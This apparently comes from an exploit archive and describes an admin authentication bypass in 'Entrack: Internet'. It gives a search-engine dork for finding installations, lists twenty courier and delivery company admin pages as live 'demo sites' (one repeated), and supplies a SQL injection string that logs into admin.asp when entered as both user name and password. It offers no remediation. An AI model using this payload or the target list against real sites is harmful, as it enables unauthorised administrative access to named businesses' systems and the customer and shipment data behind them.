Entrack: Internet Admin Auth Bypass

Category:: webapps
# Google dork:"Entrack: Internet"
# Tested on: Linux Back Track 5
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Demo site:
# 1-packageexpress.net/entrack/admin.asp
# 2-mecourier.com/entrack/admin.asp
# 3-cannondelivery.com/entrack/admin.asp
# 4-cannondelivery.com/entrack/admin.asp
# 5-barefootmailmoms.com/entrack/admin.asp
# 6-rudysrush.com/entrack/admin.asp
# 7-sunrisedeliverykc.com/entrack/admin.asp
# 8-rfmcourier.com/entrack/admin.asp
# 9-dixiefreight.com/entrack/admin.asp
# 10-atlasdelivery.com/entrack/admin.asp
# 11-atlantadash.com/entrack/admin.asp
# 12-directlogisticstransport.com/entrack/admin.asp
# 13-cityexpressinc.com/entrack/admin.asp
# 14-redlinecourier.com/entrack/admin.asp
# 15-callcouriernow.com/entrack/admin.asp
# 16-korucutech.com/entrack/admin.asp
# 17-efficientdeliveryservice.com/entrack/admin.asp
# 18-actfastdelivery.com/entrack/admin.asp
# 19-cannondelivery.com/entrack/admin.asp
# 20-otwcourier.com/entrack/admin.asp
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
There are lots of sites

How exploitation

Exploit
http://server/[path]/admin.asp

User name : 'or''='
Password : 'or''='